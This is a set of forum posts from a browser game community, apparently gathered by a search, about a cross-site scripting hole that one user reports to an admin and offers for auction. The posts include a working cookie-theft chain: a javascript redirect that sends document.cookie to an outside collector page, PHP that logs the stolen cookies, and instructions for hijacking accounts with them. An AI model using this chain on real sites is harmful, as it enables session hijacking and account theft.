Search found 103 matches

You can't.

I get the same thing as Immortal43.

Well I'd check for you to see if it's still exploitable, but of course Metalteo deleted my dynasty.

EDIT:

The only time cookie data isn't useful is when you validate the session somehow.

Yarold, that is why I would make the code like this.

Code:

javascript:window.location="http://www.site.com/cookie.php?c="+document.cookie

What that does is set the value "c" to the cookie from the site it's redirecting from.

Now, you make cookie.php look like this.

Code:

$cookie = $_GET['c'];

$fp = fopen("log.htm", 'w');
fwrite($fp, $cookie . "<br>");
fclose($fp);

So now that you wrote the users cookie to log.htm, you can look at it and replace your own cookie data with theirs, meaning that you will then be logged in as that user.

I'm trying to help the site out, and you get mad?

You tell me to steal your user's accounts?

Are you on your period?

I wasn't threatening to do anything, I was just alerting you to the problem. Don't be mad because you can't blame this on a certain site I am affiliated with, as you have tried to do in the past. It is because of scripting in SWLE its self, just as it his been every time before.

Yup, that's your cookie data.

If it's a link with a click limit then that's why, they have to be worth more since you can click less.

What does it say?

Basically, I could be stealing every user's account on this site who uses IE and views the dynasties page.

In that case, your account has probably been deleted due to inactivity.

Anyone have any idea where Yarold is, or when he'll be online next?

Can someone view the dynasties page in IE and tell me if anything happens?

Tell them to use a different browser.

I submitted a link that was denied. I only submitted the link to test for an exploit. If any administrator or moderator can remember denying this link, please post here or contact me in some way.

I'm not gunna use the exploit myself...but I mean I need some reward. :-p

Well, noone bidded, so that means I have to extend it, and make it a little more interesting by telling what the exploit does.

The exploit allows you to login to any users account that you target. Can't go into detail.

Since noone bidded, the starting bid now moves up to 450 credits. I can give Yarold a permanent fix for a link at the top of every page on the left of "Welcome user, from dynasty dynasty" that says "Play the coolest game on the internet!" and points to http://www.alex3oo2.com/sw/...for 24 hours only, then the link can be removed.

As I said, the fix is permanent, so even when you add new scripts to the site you don't have to worry about these types of exploits.

I need some credits to let people know about Samurai War, so I'm selling an exploit to the highest bidder. Bids start at 300 credits.

Bidding ends 5/28/06 12:01 A.M. EST, start bidding!

(Since admins. have an unlimited supply of credits, I expect them to win, which is why I made this thread...so chill out. :-)

)

This can still be exploited, Yarold.

This is exactly why. Would you like to request a message to appear there?

Thanks, you just helped me find an exploit which I'm reporting to Yarold.

EDIT:

It also seems that it didn't take the credits when I made the dynasty, and there's nothing in my transfers history saying I even got them.

Thanks much.